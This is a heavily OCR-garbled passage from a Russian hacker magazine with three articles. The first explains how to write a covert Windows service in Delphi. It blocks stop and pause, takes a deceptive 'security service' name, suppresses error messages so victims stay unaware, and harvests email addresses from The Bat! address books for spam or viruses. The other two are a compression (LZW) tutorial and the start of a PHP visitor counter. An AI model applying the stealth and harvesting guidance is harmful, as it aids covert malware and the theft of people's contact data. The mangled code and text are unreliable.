окне на закладке №ѵѵ ищи Зегѵісе АррІісаТіоп 
(см. рис.1). Кликай на нем. Можно считать, 
что первый надрез на теле почтовой мышки 
уже сделан ;). 

Л ИССПЕД9ЕИ СОДЕРЖИМОЕ 

Код главного модуля по- 
хож на все те, с которы- 
ми ты уже привык рабо- 
тать. Но изюминка спря- 
тана под печенью (под 
печенью обычно прячется 
гонококковый перигепа- 
тит :) - прим. Эг), а 
именно - в объекте, от 
которого все происходит. 
Если стандартное прило- 
жение происходит от 
объекта ТРоггп, то тут мы 
пляшем мазурку от 
ТЗегѵісе. 

Визуальная форма 
больше похожа на модуль 
данных (Эаіа Мобиіе), и 
на ней можно размещать 





только невизуальные компоненты. Это и по- 
нятно, ведь сервис работает невидимо для 
пользователя. 

А теперь давай посмотрим на самые вкус- 
ные свойства объекта ТЗегѵісе, которые ты 
можешь увидеть в объектном инспекторе. 
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ТРЕППНПЦИЯ ДЛЯ почтовой иыши 




ППСКИЕ ТИСКИ 

правосудия 

Пишем свой 
собственный архива- 
тор без дополнитель- 
ных компонентов. 




пппгиптим 

ЗРѴЮС 

Удобная система 
сбора статистики с 
посетителей на 
РНР. 




ПРЕПОКРПНЯЙСЯ 

носками! 

Как сделать миниатюрный 
ЗОСКЗ-сервер на РегГе. 



I 



Л ППРОВОЗ ПЕТИТ ВПЕРЕД 

а АІІоѵѵРаизе - разрешить пользователю 
возможность приостанавливать работу сер- 
виса. Я злой, поэтому в своем недобром 
сервисе отключаю эту возможность. 

а АІІоѵѵЗіор - позволять пользователю 
останавливать сервис. И снова моя злость 
заставляет убрать эту возможность. 

Если запретить возможность остановки 
и приостановки сервиса, то в оснастке 
служб соответствующие кнопки будут не- 
доступны, и на первый взгляд оставить та- 
кое зло нереально. Но не радуйся прежде 
времени, потому что для продвинутого 
удалить даже такой сервис не составит 
труда. Достаточно выполнить запускной 
файл сервиса с параметром "ДІМІМЗТАИ", 
как все наше хозяйство остановится и при 
следующем старте системы удалится. От 





этого никуда не денешься, поэтому косме- 
тическая операция по запрету останова по- 
действует только на ламера. 

ШТРИХИ НЕВИДИМОСТИ 

а РізрІауМате - отображаемое имя. Имен- 
но этот текст можно будет увидеть в оснаст- 
ке сервисов в качестве имени. Для примера 
я указал "Сервис на Эеірбі", но в реальном 
зле я бы посоветовал подойти к выбору име- 
ни более тщательно. Как корабль назовешь, 
так он и потонет :). 

Например, можно написать здесь "Служба 
безопасности ІМТР5", тогда ни у одного поль- 
зователя не поднимется рука остановить та- 
кое. Но и запускной файл в этом случае дол- 
жен иметь достойное имя, а не просто 
РгоіесП.ехе ;). 

а ЕггогЗеѵегіІу - что делать, если во вре- 
мя запуска произошла ошибка. Здесь можно 
указать одно из следующих значений: 

а езідпоге продолжить выполнение; 

л езМогтаІ вывести сообщение, но про- 
должить работу; 

л езЗеѵеге продолжить работу, если 
стартует конфигурация, которая уже старто- 
вала удачно, или запустить конфигурацию, 
которая стартовала удачно; 

л езСгіІісаІ запустить конфигурацию, кото- 
рая стартовала удачно, но если сейчас старту- 
ет именно она, то запуск выдает ошибку. 

В любом случае в системном журнале 
прописывается запись о происшедшей 
ошибке, но вот на экране нам отображать 
ничего не надо. Незачем пользователя сму- 
щать лишними сообщениями, иначе из-за 
мелкого бага он начнет раскапывать, что это 
за сервис у него глюкнул и зачем. Поэтому 
измени параметр ЕггогЗеѵегііу на езідпоге. 
Системные журналы проверяют редко, а вот 
сообщение на экране упустить из виду прос- 
то нереально. 

а ЗегѵісеЗіагШате и РаззѵѵогсІ - это 

имя учетной записи и пароль, под которыми 
будет работать сервис. От этого зависят пра- 
ва на доступ к различным объектам. Если ты 
заведомо знаешь пароль админа машины 
жертвы, то можешь указать его здесь, иначе 



оставь эти параметры пустыми, чтобы сер- 
вис работал под системной учетной записью. 

Л ПЕРЕЗПГРШП 

а Оерепсіепсіез - зависимости. Если дважды 
щелкнуть по этому свойству, то появится окно, 
в котором можно указать сервисы, от которых 
будет зависеть твой. Это значит, что все они 
должны будут запуститься раньше. 

а ЗегѵісеТуре - тип сервиса. Существу- 
ет три типа: 

а зШіп32 стандартный оконный сервис, 
то, что нам и нужно; 
а зШеѵісе для драйверов устройств; 
а зІРіІеЗузіет драйвер файловой системы. 
ЗіаПТуре - тип запуска сервиса по умол- 
чанию. Здесь можно указать одно из следую- 
щих значений: 

а зШоо! используется оконный загрузчик, 
когда тип сервиса не зіѴѴіп32; 

а зіЗузіет стартовать после инициализа- 
ции системы; 

а зіАиіо запускаться автоматически во 
время загрузки системы. Для зло-сервиса 
это идеальный вариант; 
а зШапиаІ сервис стартует ручками; 
а зШізаЫесІ отключено. 

Л СОБЫТИЯ 

Самое вкусное прячется в событиях объекта 
ТЗегѵісе. Давай взглянем, что тут у нас есть: 

а АНегІпзІаІІ - генерируется после инс- 
талляции сервиса. 

л АИегІІпіпзІаІІ - генерируется после 
удаления сервиса. 

л Веіогеіпзіаіі - генерируется до инстал- 
ляции сервиса. 

а ВеіогеІІпіпзіаІІ - генерируется до уда- 
ления сервиса. 

а ОпСопІіпие - запуск после паузы. 
л ОпРаизе - сервис приостановлен. 
а ОпЗНиІсІоѵѵп - сервис остановлен на 
выключение. 

а ОпЗіагІ - сервис стартовал. 
а ОпЗіор - сервис остановился. 

Какие события нам выбрать? На первый 
взгляд, зло-код должен находиться в собы- 
тии ОпЗіагі. Это верно, но не на все 100%, 




л Если хочешь 
сделать сервис 
универсальным, то 
не забудь добавить 
возможность ска- 
нирования всего 
диска в поиске 
файлов *.аЬс1, ведь 
имя файла и рас- 
положение могут 
быть любыми. 

* 

а Мы показали 
вскрытие адресной 
книги исключитель- 
но в целях обуче- 
ния. Использование 
этой инфы с целью 
написания вирусов 
- незаконно. 




а Если ты покупа- 
ешь журнал без 
диска, то ищи на 
сайте 

шл/ѵ. хакер. ш ис- 
ходные коды в раз- 
деле X- релиз. 

■Ж- 

л На компакт-дис- 
ке лежат полные 
исходные коды 
сервиса. 
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потому что злиться надо на два события: 
ОпЗіагІ и ОпІпзІаІІ. Когда юзер инсталлирует 
сервис, мы уже можем просканить его диск 
и найти то, что надо, не дожидаясь нормаль- 
ного запуска сервиса. Именно так мы и пос- 
тупим. 

А СТОРТ-СТОП 

Уже сейчас можно скомпилировать проект 
и установить в систему получившийся сер- 
вис. Правда, он пока еще ничего не делает, 
но потренироваться с установкой можно. 
Чтобы проинсталлировать сервис, нужно 
скомпилировать проект (СігІ+РЭ) и запустить 
программу с ключом /ІИЗТАИ. Чтобы уда- 
лить из системы, нужно выполнить прогу с 
ключом /ДОІ№ТАИ. 

Если ты пишешь сервис с запрещенной 
возможностью остановки, то советую на вре- 
мя тестирования разрешить старт/стоп. Ина- 
че после запуска сервиса станет невозможно 
перекомпилировать файл и придется удалять 
его из системы и перегружаться. Когда все 
будет готово, вот тогда и выставишь в свой- 
стве АІІоѵѵЗіор значение Узе. 

А мышка, на стопи! 

Теперь переходим к вскрытию мышки. Ад- 
ресная книга ТІіе Ваі! хранит свои записи в 
файле ТІіеВаІ.АВО. Я уже сказал, что этот 
формат закрыт, и мне не удалось найти ни- 
какого описания. Но закрыт только формат, 
а содержимое файла открыто, как церковный 
поднос для сбора пожертвований, и содер- 
жимое его никак не шифруется. Открой его в 
режиме просмотра, и увидишь среди кучи 
мусора реальные е-таіі адреса. 

Как отбросить мусор и вырвать только то, 
что надо? Все очень просто. Мы должны 
просканировать весь файл на наличие е-таіі 
адресов, невзирая на формат. Мои исследо- 
вания показали, что сразу после адреса сто- 
ят символы перевода каретки #13 и #10. Их 
наличие легко объяснить. Посмотри на пя- 
тый скрин. Здесь показано окно создания 
новой записи в адресной книге. Тут же вид- 
но, что адреса записываются в поле "Е-МаіІ 
Ас1с1гез5(ез)", которое явно относится к 
Мето. Вот отсюда и берется перевод карет- 
ки. Неоднократный анализ файла подтвер- 
дил мою теорию. 

Теперь алгоритм сканирования упрощает- 
ся до "дальше некуда". Ищем все разумные 
слова, и как только встречается символ пе- 
ревода каретки, необходимо проверить, есть 
ли в найденном слове знак @. Если да, то 
это мыльник, и можно сохранить его для... 
ну, скажем так, для всякого ;). 



А ЧТО ЭТО БЫЛО? 

В листинге 1 показан код, который ты дол- 
жен написать в обработчике события 
ОпІпзІаІІ своего сервиса. В обработчике со- 
бытия ОпЗіагі нужно просто вызвать эту же 
процедуру, чтобы не писать код еще раз. 

Объясняю, что произошло. Я загрузил файл 
адресной книги в файловый поток типа 
ТРіІеЗігеат. В качестве пути указывается яв- 
ное расположение, а в реальной проге ты дол- 
жен просканировать еще и все диски на пред- 
мет поиска файла, потому что на компе жерт- 
вы книга может находиться где угодно. Сэко- 
номим место в журнале для более интересных 
вещей, я надеюсь, что ты сделаешь это сам. 

Сразу же создаю переменную типа 
ТЗігіпдИзІ, где будут сохраняться найденные 
мыльники. Я люблю этот тип, потому что с 
ним легко работать и удобно сохранить весь 
список в текстовый файл. 

Теперь запускается цикл, в котором пос- 
ледовательно читается содержимое файла 
адресной книги по 1000 байт. Чтобы было 
проще, округлим число до 1024 байт :). У 
меня этот файл большой, поэтому и читать 
буду большими блоками, чтобы ускорить эту 
операцию. 

Внутри цикла чтения находится еще один 
цикл, в котором сканируется считанный 
блок. Если очередной символ является бук- 
вой или допустимым для е-таіі адреса сим- 
волом, то добавляем этот символ к времен- 
ной текстовой переменной Аббг. Если это 
другой символ, то нужно проверить, а вдруг 
это перевод каретки, и в нашей временной 
переменной уже сформировался полноцен- 
ный адрес чьего-то мыльника. Если так, то 
сохраняем содержимое Асісіг в массиве строк 
и продолжаем поиск. 

А 3 (ШПИЛЕМ? 

Как видишь, все очень просто, и никому не 
потребовалось выяснять засекреченные фор- 
маты. Теперь ты можешь использовать 
мыльники из ТІіе Ваі! в своих корыстных це- 
лях. Таким же методом можно вытащить что 
угодно из любого файла и с небольшими из- 
менениями в коде. Главное, чтобы не было 
шифрования, иначе количество проблем уве- 
личится в несколько раз. 

Лично я считаю, что в наше спамерское 
время е-таіі адреса друзей являются сек- 
ретной информацией, и будет обидно, если 
именно от тебя твоему другу придет письмо 
с вирусом или спамом из-за того, что прог- 
раммисты Тбе Ваі! поленились зашифровать 
адресную книгу. 
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Рисунок 5. Запись в адресной книге 
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бежден на все 99%, что ты уже давно пристрастился к использованию различных архиваторов, таких как ШілНПК, Ьгір2 и другие. 

О ты никогда не задумывался, как они устроены, как работают, а главное - почему? :) Если тебе это интересно, то ты попал по адресу! 
Ничего особо сложного я, к сожалению, сейчас поведать не смогу, но основами и классикой архивирования с радостью поделюсь. 



ПРХИВИРУЕИ БЕЗ КОМПОНЕНТОВ 



л 



А ВСТУПЛЕНИЕ 



К ак ты понимаешь, сжатие сок- 
ращает объем пространства, 
требуемого для хранения фай- 
лов в твоем железном друге, 
а также количество времени, 
необходимого для передачи 
данных по сетям. Это форма 
кодирования. Кроме сжатия, 
другими целями кодирования также являются 
поиск и устранение ошибок, шифрование. Но 
они, в большинстве случаев, противополож- 
ны сжатию - увеличивают избыточность дан- 
ных, добавляя дополнительную информацию. 

А о сжатии 

Сегодня мы рассмотрим обратимое сжатие 
(без наличия помех), т.е. сжатие, при кото- 
ром первоначальный текст может быть в 
точности восстановлен из сжатого состоя- 
ния. Наряду с ним существует также и необ- 
ратимое, ущербное сжатие :), которое ис- 
пользуется для цифровой записи аналоговых 
сигналов, таких как речь, музыка, рисунки. 

Одним из самых ранних и хорошо извест- 
ных методов сжатия является алгоритм Хаф- 
фмана. Идея его заключается в том, чтобы 
подсчитать долю каждого символа в исход- 
ном тексте (файле) и сопоставить самому 



часто встречающемуся символу наиболее 
короткую запись. То есть не по 1 байту (8 
бит) на каждый символ, а, например, по 3-4 
бита на самые частые символы, и по 10-16 
на самые редкие. Как ни странно, это рабо- 
тает! И даже легко реализуется :). Однако, в 
конце 70-х годов прошлого века, благодаря 
двум важным идеям, этот алгоритм был вы- 
теснен. Одна идея заключалась в открытии 
метода арифметического кодирования, име- 
ющего похожий алгоритм, но и обладающего 
некоторыми важными свойствами, благодаря 
которым достигалось значительное превос- 
ходство в сжатии. Другим новшеством был 
метод Зива-Лемпеля, тоже дающий хорошую 
степень сжатия, но использующий совер- 
шенно другой подход. Все эти техники со 
времен открытия значительно развились и 
усовершенствовались, и их комбинации лег- 
ли в основу многих популярных архиваторов, 
которыми мы все так любим пользоваться. 

А ЧУТЬ БЛИЖЕ К ТЕПЛ 

В принципе, существуют два основных спо- 
соба проведения сжатия - статистический 
и словарный. Лучшие статистические методы 
применяют арифметическое кодирование, 
лучшие словарные - метод Зива-Лемпеля. 

В отличие от статистических методов, в сло- 




варных группы последовательно идущих 
символов (фраз) заменяются некоторым ко- 
дом. Из таких фраз строится некий "сло- 
варь" для сжимаемого файла. 

В последнее время было показано, что 
любой способ словарного сжатия может 
быть сведен к соответствующему способу 
статистического сжатия, и даже найден об- 
щий алгоритм такого преобразования. Поэ- 
тому большие умы в этой области рекомен- 
дуют все-таки использовать статистические 
методы, но словарные многих привлекают 
своей относительной простотой, а главное - 
быстротой. Итак, поехали. 

А ЛЕЕ 

Для начала рассмотрим, на мой взгляд, са- 
мый древний алгоритм - РНЕ (групповое ко- 
дирование). Уверен, что если ты интересо- 
вался работой архиваторов и размышлял на 
тему сжатия, то первое, что тебе пришло в 
голову, как раз и был этот алгоритм. Он 
очень прост в теории и еще проще в реали- 
зации. Суть этого метода кодирования в по- 
иске и замене одинаковых цепочек байт па- 
рами "счетчик, значение". Одна из его реа- 
лизаций такова: в файле ищут наименее час- 
то встречающийся байт и называют его пре- 
фиксом. Затем делают замены цепочек оди- 
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наковых символов тройками "префикс, счет- 
чик, значение". Если этот байт встречается в 
исходном файле один или два раза подряд - 
его заменяют парой "префикс, Г или "пре- 
фикс, 2". А неиспользованную пару "пре- 
фикс, 0" - вполне можно использовать как 
признак конца упакованных данных. 

Если мы пытаемся сжать ехе-файл, то 
можно искать и кодировать последователь- 
ности типа АхАуАх..., которые довольно часто 
встречаются в ресурсах (строки в ІІпісобе). 
Также этот алгоритм используется в форма- 
тах РСХ, ТІРР, ВМР. Интересно, что если в 
некоторых файлах РСХ изменить порядок 
цветов в палитре изображения, то степень 
архивации существенно возрастет. 

А 12-СЕМЕЙСТВО 

Более чем уверен, что метод ПБЕ-кодирова- 
ния тебе не совсем пришелся по душе - уж 
очень все просто. И неэффективно. Развити- 
ем этого метода является целое семейство 
алгоритмов, именуемых 12-алгоритмами. 

Существует неверное представление, что 
за понятием 2-метода стоит один-един- 
ственный алгоритм. Это не так. Первые 
статьи Зива и Лемпеля были глубоко теоре- 
тическими, и лишь последующие переложе- 
ния других авторов дали более доступное 
представление. 

Итак, в методе Зива-Лемпеля кодируе- 
мый текст разбивается на небольшие стро- 
ки, каждая из которых составлена из одной 
из предыдущих строк (также заранее пре- 
допределена пустая строка, имеющая код 0) 
и еще одного символа. Чтобы немного отой- 
ти от скучного и нудного повествования, 
приведу пример. Пусть нам нужно закодиро- 
вать строку "пусть нам нужно закодиро- 
вать строку" :): 



Закодированная строка 



1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 
п у с т ь _ н а м _н уж но _ з ак о д и р ов ат ь_ ст ро к у<Е0Г> 
0п Оу Ос От 0ь 0_ Он 0а Ом 6н 2ж 7о 6з Оз 8к Оо Од Он 0р 16в 
8т 5_ Зт 19о 0к 2<Е0Р> 

Вверху записаны номера строк, затем са- 
ми строки, а далее - представление каждой 
из них в виде пар (номер предыдущей стро- 
ки, дополняющий символ). Как видно из 
примера, вначале образовалось 9 строк дли- 
ны 1 , затем 1 0-я буква совпала с 6-й стро- 
кой, поэтому 10-я строка имеет длину 2 и 
составлена из 6-й строки и буквы "н". Анало- 
гично 1 1-я и 12-я строки. Дальше, думаю, 
разберешься и сам :). В данном случае сжа- 
тия особо не получилось - кодируемая стро- 
ка была очень короткой. Но при увеличении 
длины исходной строки приведенный выше 
алгоритм заработает, даю слово. 

Собственно подход к сжатию данных был 
впервые обнародован в 1977 г., но в 1984 
человек по имени Тэрри Вэлч (Теггу ѴѴеІсИ) 
опубликовал усовершенствованный вариант 
метода (2ѴѴ-сжатие). И снова алгоритм на 
удивление прост. Если говорить коротко, то 
2ѴѴ-сжатие заменяет строки символов неко- 
торыми кодами, что делается без какого-ли- 
бо анализа входного текста. Вместо этого 
при добавлении каждой новой строки симво- 
лов просматривается таблица строк. Сжатие 
происходит, когда код заменяет строку сим- 
волов. Коды, получаемые на выходе данного 
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Пока что нам до него далеко 



алгоритма, могут быть любой длины, но они 
должны содержать больше бит, чем единич- 
ный символ. Первые 256 кодов (когда ис- 
пользуются 8-битные символы) изначально 
соответствуют стандартному набору А5СІІ 
символов. А остальные коды уже соответству- 
ют обрабатываемым алгоритмом строкам. 

^ ВЕРЕН В РУКИ М0П0Т И ТОПОР 

Перейдем к более интересным вещам - са- 
мой реализации. Как я уже говорил, 2ѴѴ- 
сжатие относится к словарным методам ко- 
дирования. Поэтому главной частью нашей 
программы будет именно словарь. Можно 
пойти двумя путями - простым и очень 
простым :). Можно либо честно хранить в 
памяти все строки, содержащиеся в словаре 
(что, кстати, займет достаточно много памя- 
ти), либо поступить по-хитрому. Я выбираю 
второй путь. Будем хранить словарь как на- 
бор пар - префикс, т.е. предшествующий 
номер строки, и символ, который в сочета- 
нии с префиксом образует новую строку. И 
памяти это будет "кушать" меньше, и в реа- 
лизации попроще. 

Определившись с "типом" словаря, сно- 
ва встаем на перепутье - как его реализо- 
вывать. Наш словарь можно представить в 
виде списка, тогда нам не нужно будет осо- 
бо заботиться о количестве элементов, вы- 
ходе за пределы массива - мы будем огра- 
ничены только размерами доступной опе- 
ративной памяти. Возможен и другой вари- 
ант - массив. Да-да, старый добрый стати- 
ческий массив. С четко фиксированным 
числом элементов. Хорошо это или плохо - 
решать тебе, но я выбрал именно его. По 
двум причинам. Во-первых - простота реа- 
лизации. Во-вторых - номер каждого эле- 
мента массива будет совпадать с номером 
строки в словаре, из-за чего не нужно бу- 
дет пробегаться по всему словарю в поис- 
ках нужной строки. Кстати, здесь возникает 
один нюанс - при обработке входного фай- 
ла мы последовательно строим словарь, с 
помощью которого кодируем данные. Но в 
один прекрасный момент, особенно если 
используем массив, свободные ячейки в 
словаре могут закончиться (или кончится 
память для списка). Вообще, в таких случа- 
ях советуют остановиться с дополнением 
словаря и кодировать данные по существу- 
ющему, пока степень сжатия не начнет 
убывать. А затем - добавить в выходной по- 
ток специальный символ (например, с ко- 
дом 256), означающий очистку словаря. 
Однако это тоже приводит к падению сте- 
пени сжатия. Поэтому, наверное, стоит 
очищать только половину. 
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л Как мудрый че- 
ловек Тэрри Вэлч 
сразу же запатен- 
товал свой алго- 
ритм. Но в июне 
2003 года срок па- 
тента истек, и те- 
перь ты, наверное, 
даже можешь сме- 
ло продавать свою 
коммерческую ре- 
ализацию І.2ѴѴ. 




л І_2ѴѴ-сжатие вы- 
деляется среди 
прочих, когда 
встречается с по- 
током данных, со- 
держащим повто- 
ряющиеся строки 
любой структуры. 
По этой причине 
оно работает весь- 
ма эффективно, 
когда встречает 
"человеческий" 
текст, исходник. 



■Ж- 

л Обязательно заг- 
ляни на наш СО. 

Там есть все необ- 
ходимое. 



С началом определились. Теперь давай 
сразу перейдем к концу, а потом уже - к се- 
редине :). Как я уже говорил, получив на 
вход некоторый набор данных, алгоритм І2ѴѴ 
перемалывает их, строит некоторый словарь 
и на выход подает некие коды, которые явля- 
ются номерами "фраз" в словаре. Поэтому 
нужно научиться эффективно эти коды запи- 
сывать. В большинстве реализаций 12-алго- 
ритмов используются 12-битные коды, т.е. 
числа от 0 до 4095, по полтора байта на код. 
Такая запись достаточно компактна, но в 
этом случае на словарь тоже накладывается 
ограничение в 4095 фраз, из-за чего на боль- 
ших файлах возникает проблема. Некоторые 
реализации используют 16 бит на код, т.е. 2 
байта. Но на достаточно маленьких файлах 
такой способ записи выдает малую степень 
сжатия. А вот создатели архиватора АВС (ес- 
ли не вру) пошли дальше - изначально ис- 
пользуются коды в 9 бит, затем в 10, 12, 15. 

В зависимости от текущего размера словаря. 
Советую и тебе идти тем же путем :). 

Теперь переходим к сути - к воплощению 
самого алгоритма сжатия, а затем - распа- 
ковке сжатых данных. 

Процесс кодирования достаточно прост: 
пока не пуст входной поток, читаем СИМВОЛ 
и проверяем, есть ли в словаре СТРОКА 
(префикс) + СИМВОЛ (изначально префикс 
пуст). Если нет - добавляем эту комбинацию 
в словарь, в выходной файл записываем код 
для СТРОКА, СТРОКА = СИМВОЛ; повторяем 
цикл. Если же СТРОКА+СИМВОЛ в словаре 
присутствуют - СТРОКА=СТРОКА+СИМВОЛ, 
повторяем цикл. По завершению цикла (ког- 
да входной файл кончился) записываем в 
выходной файл код для СТРОКА. Для лучше- 
го понимания рассмотрим небольшой при- 
мер: пусть нам нужно закодировать строку 
"гесіге". Напомню, что под номерами 0-255 
у нас в словаре уже имеются все 256 А5СІІ- 
символов. Итак. Изначально СТРОКА=пусто. 
Читаем "г": СИМВОЛ=г. В словаре уже име- 
ется буква "г", поэтому СТРОКА=г. Читаем 
"е". "ге" в словаре нет, запоминаем под но- 
мером 256, "г" выводим в результат, СТРО- 
КА=е. Считали "б": "есі" в словаре нет, за- 
помнили с кодом 257, "е" в результат, СТРО- 
КАМ. "б " в словаре нет, запомнили с 
кодом 258, "б" в результат, СТРОКА=_. 



И так далее. По завершению цикла в выход- 
ном файле получим - "геб <256>". На С 
этот цикл тоже кодируется довольно просто: 
предположим, что біс1[] - наш массив, в ко- 
тором храним словарь. Каждый элемент мас- 
сива - запись, имеющая поле іпі ргеі (СТРО- 
КА), іпі Ьуіе (СИМВОЛ). Итак, получаем: 



Код паковки 



ргеі = -1; II СТРОКА = пусто 
сб = ТдеТс(іприТ); // читаем СИМВОЛ 
ѵѵТііІе ( сіі != Е0Р){ 

(юр = ІіікМісКргеІ, сіі): II ищем в бісШ нужную комбинацию 
ІТ (ітр Г -1) { II если нашли 
ргеі = Ітр: 
еІзе{ 

аЛНісКргеІ, сіі); II добавляем в словарь 
1міІе(&ргеТ, зігеоКргеІ), 1, опіриі); // выводим в результат 
ргеі = сб: 

}; 

сб = Ідеіс(ілриі): 

}; 

С кодированием, вроде бы, разобрались. 
Осталось дело за раскодированием. В прин- 
ципе, здесь все аналогично. Одной из при- 
чин эффективности описываемого алгоритма 
является то, что нам не нужно хранить полу- 
ченный при сжатии словарь - он может быть 
точно восстановлен при распаковке на осно- 
ве выходного потока алгоритма сжатия. Это 
возможно потому, что алгоритм сжатия вы- 
водит СТРОКОВУЮ и СИМВОЛЬНУЮ компо- 
ненты кода прежде, чем он поместит этот 
код в выходной файл. Это и означает, что 
сжатые данные не обременены необходи- 
мостью тянуть за собой большую таблицу 
перевода. А вот и сам алгоритм: из входного 
потока читаем СТАРЫЙКОД, выводим его в 
файл. Далее пока входной поток не пуст, чи- 
таем НОВЫЙКОД. СТРОКА = расшифровать 
НОВЫЙКОД (пройтись по словарю и по его 
данным на основании кода построить стро- 
ку). Далее выводим в результат СТРОКА. 
СИМВОЛ = первый символ СТРОКА, добав- 
ляем СТАРЫЙ КОД+СИМВОЛ в словарь, 
СТАРЫЙ КОД = НОВЫЙ_КОД. И продолжаем 
цикл. Говоря проще - из входного потока 
(пока он не закончится) читаем символ. Если 
его код меньше 256, то повторяем, соверша- 



ем над ним процедуру кодирования. Если же 
код больше или равен 256, то, проходясь по 
словарю, генерируем строку и выводим ее в 
результат. А затем с каждым символом стро- 
ки совершаем процедуру кодирования. 

А ПОДВОДНЫЙ КПИЕНЬ 

Да-да-да. Такой присутствует. Дело в том, 
что если существует строка (СТРОКА СИМ- 
ВОЛ), находящаяся в словаре, а часть вход- 
ного потока - СТРОКА СИМВОЛ СТРОКА 
СИМВОЛ СТРОКА, то алгоритм сжатия выве- 
дет код, прежде чем распаковщик получит 
возможность определить его, и получится 
большая бяка. К счастью, такой исключи- 
тельный случай всего один, и наш алгоритм 
распаковки можно без труда модифициро- 
вать. При считывании кода, еще не извест- 
ного нам, нужно построить строку, код кото- 
рой лежит в СТРОКА, взять первый ее сим- 
вол и добавить в словарь пару (СТРОКА пер- 
вый ее символ), затем СТРОКА=СИМВОЛ, и 
повторить стандартную процедуру для кода 
больше или равного 256, но без (!) вывода 
результата в выходной файл. Несмотря на 
запутанность, это очень легко реализуется и 
главное - работает! 

А оотно 

Ну вот, сегодня я тебе поведал основы напи- 
сания своего собственного архиватора. Ко- 
нечно, то, что я рассказал, не поможет тебе 
победить по степени сжатия Ьгір2 или 
ѴѴіпВАВ, но, например, для некоторого 
уменьшения размера коллекции исходных 
кодов твоих программ - очень даже подой- 
дет. Представь - хранить исходники 
собственных программ, сжатые собственным 
архиватором! По-моему, это стильно. Ну что 
ж, удачи в этом нелегком деле. А главное - 
не забывай читать умные книжки, без них 
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бор информации о посетителях сайта - актуальная задача для любого веб-мастера. Всегда интересно знать, сколько человек зашли 
на твой сайт, какую информацию они здесь искали, откуда пришли и каким софтом пользуются. В Сети очень много сервисов, 
которые бесплатно предоставляют счетчики для сбора такой статистики, но расширенные функции обычно доступны только за 
деньги. О ведь написать подобный счетчик не так уж и сложно. 




ПИШЕМ СИСТЕМУ СБОРП СТПТИСТИКИ 




З а примерами далеко ходить 
не надо. Популярный сервис 
Зруіод предоставляет воз- 
можность бесплатно пользо- 
ваться их системой, устано- 
вив у себя счетчик - однако 
для просмотра подробной 
статистики пользователю 
предлагают заплатить деньги и перейти на 
другой тарифный план, после чего ему отк- 
роются новые перспективы. Такое положение 
вещей не может устраивать, особенно учиты- 
вая тот факт, что мы с тобой и сами прог- 
раммисты хоть куда :). Сегодня мы напишем 
систему сбора статистики, которая будет 
вести учет посещаемости, статистику по ис- 
пользуемым операционным системам, брау- 
зерам и графическим режимам. Все это, ока- 
зывается, не так сложно реализовать, ис- 
пользуя стандартные средства ^ѵабсгірі и 
один из языков для написания серверного 
приложения, обрабатывающего данные - 
мы по привычке воспользуемся РНР. 



А ДЕПОЙ РОЗ 

Систему можно условно разделить на две 
части - ту, что производит сбор и запись в 
базу данных информации о посетителях сай- 
та, и ту, что показывает администратору ре- 



сурса собранную статистику, формируя кра- 
сивые диаграммы и графики. Прежде всего 
необходимо разобраться с тем, каким обра- 
зом мы будем получать информацию о поль- 
зователе. Самое простое и эффективное ре- 
шение - передавать сведения о посетителе в 
качестве параметров к вызываемому со стра- 
ницы сценарию. Каким же образом мы будем 
выполнять приложение при каждом обраще- 
нии к странице сайта? Лучше всего это де- 
лать так. Получая при помощи ^ѵаЗсгірІ све- 
дения о посетителе, мы, используя тег 
<ІМС>, будем вставлять в документ картин- 
ку, адрес которой имеет следующий вид: 
ІЖ_скрипта?ѵѵісШі=ширина_экра- 
на&беідМ=высота_экрана. Таким образом, на 
сервер передаются сведения о посетителе - 
скрипту остается только записать информа- 
цию в базу данных, при помощи библиотеки 
СО сформировать изображение и передать 
его браузеру. При этом можно использовать 
как красивые полноразмерные картинки, так 
и невидимые “блохи” размером 1x1 - это я 
оставлю на твое усмотрение. Но если возить- 
ся с формированием графики не хочется, 
можно воспользоваться тегом <іТгате> 
вместо <ітд> - это позволит вставить в 
страницу невидимый фрейм и решит пробле- 
му неучтенных пользователей, которые сняли 




в настройках браузера галочку с пункта 
“отображать рисунки” (ведь в этом случае на- 
ша картинка не будет загружена, и, соответ- 
ственно, посещение не будет засчитано!). 

Настало время разобраться, каким образом 
можно получить сведения о системе пользова- 
теля. Что касается графического режима, тут 
все просто. Реализация ^ѵаЗсгірі в Іпіегпеі 
Ехріогег’е имеет множество переменных окру- 
жения - так, например, объект зсгееп имеет 
свойства ѵѵісШі, беідйі и соІоЮерІб - это шири- 
на, высота экрана (в пикселах) и глубина цвета 
соответственно. В №1$саре все несколько ина- 
че, но тоже очень легко - см. код счетчика. Что 
же касается браузера и системы, то тут есть 
два пути. Первый - использовать переменную 
окружения сервера $НТТР ИЗЕВ АОЕМТ, вто- 
рой - извлечь интересующую информацию из 
свойства паѵідаІог.аррМате. По ряду причин 
предпочтительнее использовать первый вари- 
ант - если юзер использует текстовый браузер 
а-ля Іупх, сценарий ^ѵаЗсгірІ не сможет вы- 
полниться, и мы не получим интересующие нас 
сведения. В то же время $НТТР_ІІ5ЕВ_АОЕМТ 
позволит вполне корректно распознать систему 
и используемый посетителем браузер. Теперь 
давай напишем простенький код счетчика на 
^ѵаЗсгірі, который будет размещаться на каж- 
дой странице сайта: 
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ПППГИПТИН ЗРѴЮС 



]5-код счетчика 



ѵаг ІіеідІіІ=0; ѵаг иігІІИ; 

ІЕ (зеІЕ.зсгееп) {/* Если есть такой обьект, то получаем 

сведения из его свойств */ 

иібііі = зсгееп.и/ібііі; 

беідМ = 5сгееп.(іеідІіі; } 

еізе ІЕ (зеІЕдаѵа) { /* Случай для NN */ 

ѵатікіІ = іаѵа.аи/І.ТооІкі(.деШе(аиІІТооІкіІ(); 

ѵаг $сг$ііе = Ікіі.де15сгеел5іге(); 

иібііі = $сг$іге.»і(Ші; 

(іеідііі = зсгзііе.ііеідііі; } 

/* Вызываем скрипт, обрабатывающий данные ’/ 
босиліелІжііеІп("<ілід 

$тс='ІіІІр://ІосаІІіо$1/іпбех.бІпіІ?ѵѵібІІі=",іѵібіІі,"ХІіеідІіІ=",беідІі 

і 1 "Мер№=",$сгееп.СоІогОер(Іі 1 І ">"); 

//■■> 

Л ДЕПОЙ ДВЙ 

Теперь, когда мы научились передавать на 
сервер сведения о посетителях, настал мо- 
мент истины - пора запускать редактор 
РНР-кода :). Прежде всего нужно создать 
несколько таблиц - чтобы не занимать в 
журнале слишком много места, я приведу 
лишь описание самой главной таблицы ѵізі- 
Еогз с информацией о посетителях: ір ѵаг- 
